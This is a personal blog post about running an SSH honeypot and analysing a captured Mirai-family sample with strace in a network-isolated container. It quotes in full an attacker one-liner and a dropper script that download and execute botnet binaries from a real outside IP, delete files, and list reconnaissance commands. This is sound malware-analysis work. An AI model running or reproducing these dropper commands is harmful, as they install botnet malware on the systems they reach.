The Zerofox Syndicate
I ran a SSH honeypot for some days on a Linode VM. Here are my findings. The set-up is documented at the end of this document.
The honeypot is configured to let anyone sign-in with any username and password combination.
By far the most popular command attempts were the following.
cat /etc/passwd
cat /proc/cpuinfo
cat /proc/cpuinfo | grep name | wc -l
echo Hi | cat -n
ifconfig
ip cloud print
ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
ps -ef | grep '[Mm]iner'
ps | grep '[Mm]iner'
The most interesting one was probably the one that attempts to download a script.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/Pemex.sh; curl -O http://185.239.242.175/Pemex.sh; chmod 777 Pemex.sh; sh Pemex.sh; tftp 185.239.242.175 -c get Pemex.sh; chmod 777 Pemex.sh; sh Pemex.sh; tftp -r Pemex2.sh -g 185.239.242.175; chmod 777 Pemex2.sh; sh Pemex2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.239.242.175 Pemex1.sh Pemex1.sh; sh Pemex1.sh; rm -rf Pemex.sh Pemex.sh Pemex2.sh Pemex1.sh; rm -rf *
The full Pemex.sh
script that this command attempted to download was as follows.
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.x86; curl -O http://185.239.242.175/lmaoWTF/loligang.x86;cat loligang.x86 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.mips; curl -O http://185.239.242.175/lmaoWTF/loligang.mips;cat loligang.mips >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.mpsl; curl -O http://185.239.242.175/lmaoWTF/loligang.mpsl;cat loligang.mpsl >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm4; curl -O http://185.239.242.175/lmaoWTF/loligang.arm4;cat loligang.arm4 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm5; curl -O http://185.239.242.175/lmaoWTF/loligang.arm5;cat loligang.arm5 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm6; curl -O http://185.239.242.175/lmaoWTF/loligang.arm6;cat loligang.arm6 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm7; curl -O http://185.239.242.175/lmaoWTF/loligang.arm7;cat loligang.arm7 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.ppc; curl -O http://185.239.242.175/lmaoWTF/loligang.ppc;cat loligang.ppc >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.m68k; curl -O http://185.239.242.175/lmaoWTF/loligang.m68k;cat loligang.m68k >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.sh4; curl -O http://185.239.242.175/lmaoWTF/loligang.sh4;cat loligang.sh4 >awoo;chmod +x *;./awoo
I also downloaded all these loligang binaries. I must say that this loligang seems to put a lot of effort in supporting different CPU architectures.
loligang.arm: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
loligang.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
loligang.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
loligang.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
loligang.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
loligang.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
loligang.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
loligang.ppc: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
loligang.sh4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
loligang.spc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
loligang.x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
This made me suspicious that I was dealing with IOT malware. When uploading it to Virustotal most anti-virus engines seem to agree that this is a sample of the Mirai botnet.
I was curious about what it was doing. I opened it up in Ghidra but since I don’t really know how to use it, I didn’t learn much. Some strings seemed to suggest it was going to do certain HTTP traffic and maybe use a cookie for authentication.
I wanted to know what the malware would attempt to do so I decided to run it through strace in a container without any network.
First I needed to create a container with strace pre-installed.
podman run -it fedora bash
Inside the conainer I installed strace and exited.
dnf update -y
dnf install -y strace
exit
I looked up the container id of the container that just exited and committed it to create a new image with the name straceimg.
podman container ls -a
podman commit <container_id> straceimg
Start a new container from this image.
podman run -it \
--cap-add=SYS_PTRACE \
--network none \
-v $(pwd):/mnt/ \
straceimg bash
-it
necessary because we want this to be an interactive session--cap-add=SYS_PTRACE
is necessary to allow strace to work--network none
is required to isolate this container from the network-v $(pwd):/mnt/
mount the current directory under /mnt/ in the containerstraceimg
the image we use to create this container frombash
the program to start in the containerOnce inside the container I made the malware executable and ran it with strace.
cp /mnt/loligang.x86
chmod +x loligang.x86
strace ./loligang.x86
It didn’t seem to run very long.
execve("./loligang.x86", ["./loligang.x86"], 0x7ffd9ad283e0 /* 14 vars */) = 0
[ Process PID=28 runs in 32 bit mode. ]
rt_sigprocmask(SIG_BLOCK, [INT], NULL, 8) = 0
rt_sigaction(SIGCHLD, {sa_handler=SIG_IGN, sa_mask=[CHLD], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x80561c7}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTRAP, {sa_handler=0x804f650, sa_mask=[TRAP], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x80561c7}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
socket(AF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) = -1 ENETUNREACH (Network is unreachable)
getsockname(3, {sa_family=AF_INET, sin_port=htons(52222), sin_addr=inet_addr("0.0.0.0")}, [16]) = 0
close(3) = 0
brk(NULL) = 0x9850000
brk(0x9851000) = 0x9851000
time(NULL) = 1611262404 (2021-01-21T20:53:24+0000)
getpid() = 28
getppid() = 25
times({tms_utime=0, tms_stime=0, tms_cutime=0, tms_cstime=0}) = 1433562711
write(1, "lzrd cock fest\0\"/proc/\0\"/exe\0", 29lzrd cock fest^@"/proc/^@"/exe^@) = 29
write(1, "\n", 1
) = 1
time(NULL) = 1611262404 (2021-01-21T20:53:24+0000)
fork() = 29
fork() = 30
fork() = 31
exit(0) = ?
+++ exited with 0 +++
It just seems to write out lzrd cock fest and quit. The malware wasn’t inactive of course, it had simply forked itself and several other processes were now running on this machine.
In retrospect I probably should’ve restricted my CPU and memory resources on this container as well. Nothing bad happened this time but the malware might’ve just started up using all my resources forcing me to reboot.
I used strace to capture a few seconds of output of the other processes. I ran the following command and pressed Ctrl+C after a few seconds.
strace -p 38 > /mnt/pid38.txt
I did this for all the processes.
The first one attempts to connect to 185.239.242.175
on port
and 8.8.8.8
on port 53. The first IP is probably the command and
control server while the second IP is the famous google DNS server .
Maybe this is to retrieve backup COC-servers if the main one is down?
The second one is repeadetly opening the /proc
directory.
open("/proc/", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 6
fstat(6, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
fcntl(6, F_SETFD, FD_CLOEXEC) = 0
getdents64(6, 0xffbfd430 /* 36 entries */, 1024) = 1008
getdents64(6, 0xffbfd430 /* 32 entries */, 1024) = 1008
time(NULL) = 1611260893 (2021-01-21T20:28:13+0000)
time(NULL) = 1611260893 (2021-01-21T20:28:13+0000)
time(NULL) = 1611260893 (2021-01-21T20:28:13+0000)
getdents64(6, 0xffbfd430 /* 2 entries */, 1024) = 48
time(NULL) = 1611260893 (2021-01-21T20:28:13+0000)
time(NULL) = 1611260893 (2021-01-21T20:28:13+0000)
getdents64(6, 0xffbfd430 /* 0 entries */, 1024) = 0
close(6) = 0
I don’t know enough about these functions to know what they do but I read somewhere that Mirai enumerates processes by looking in the proc directory. At least that was what the top pdf said when I googled “lzrd cock fest”.
The third process one seems to constantely reach out to IPs on port 23.
sendto(-1, "E\0\0(!\26\0\0@\6\350|\0\0\0\0\0105i\t\271%\0\27\0105i\t\0\0\0\0"..., 40, MSG_NOSIGNAL, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr("8.53.105.9")}, 16) = -1 EBADF (Bad file descriptor)
It might be trying to target random IPs and bruteforce telnet.
I spun up a Fedora VM on Linode and installed my dependencies.
dnf update -y
dnf install git podman buildah -y
The packages Buildah and Podman are used to build and run containers.
They form an alternative to Docker. They handle much the same way,
you can alias docker=podman
and basically forget you are using podman.
Under the hood however Docker will use a daemon to manage your
containers while podman doesn’t use a daemon. Buildah is a secondary
package that can be used OCI compliant containers by consuming
Dockerfile-files.
I wanted to use the default SSH port 22 for the honeypot. This meant I needed to move the current SSH daemon port.
I ran into two issues while doing this (at least on Fedora).
The firewall was easy. I ran firewall-cmd
and verified it was added.
firewall-cmd --add-port 2222/tcp
firewall-cmd --list-all
Then I modified the ssh daemon to listen on port 2222 instead of port 22.
vim /etc/ssh/sshd_config
I uncommented the line #Port 22
and made it Port 2222
.
On my desktop machine I added to my ~/.ssh/config
file the following
lines.
Host honey
User root
Hostname 139.162.22.160
Port 2222
That way I can simply type ssh honey
to attempt to connect to
this machine.
After restarting the machine (or simply reloading the SSH daemon for the people that consider themselves sofisticated), we run into trouble with seLinux. Here Cockpit saved me from having to start over. (Or at least use the Linode recue console)
Cockpit is a handy web management interface that ships and is enabled by default on Fedora. (At least the one provided by Linode)
It listens on port 9090. So I went to https://139.162.22.160:9090 and opened the seLinux page to see the sshd alert. All I had to do was click the ‘Apply Solution’-button.
Cockpit also has a terminal page. This is handy if you ever accidentily lock yourself out of your SSH.
If you really prefer not to deal with this you can of course also outright disable seLinux completely. Personally I’d rather learn how to deal with seLinux and enjoy the extra layer of security.
I downloaded the honeypot and opened the directory.
git clone https://github.com/sir-ragna/cobracmdr
cd cobracmdr/
I built the container using following command.
buildah bud --layers -t cobracmdr .
bud
stands for build using Dockerfile-t cobracmdr
is tagging the container with a name.
tells buildah to use the Dockerfile in the current directoryTechnically the --layers
flag is unecessary for the first build but I
would advise using it on follow up builds to greatly speed it up.
It caches the previously built layers. That way it won’t download the
source containers each time.
To run the container use.
podman run -d -p 22:2222 cobracmdr
-d
starts it detached-p 22:2222
forwards port 22 to port 2222 of the containerView the running container with podman container ps
.
[root@li1388-160 ~]# podman container ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
654a40e41647 localhost/cobracmdr:latest /main -console 6 days ago Up 6 days ago 0.0.0.0:22->2222/tcp wizardly_colden
To view the logs from a running (or stopped container).
podman logs 654a40e41647 > honeypot-logs1.txt
less honeypot-logs1.txt
To follow live updates you can use the -f
flag.
podman logs -f 654a40e41647
Tags:
linux
containers
malware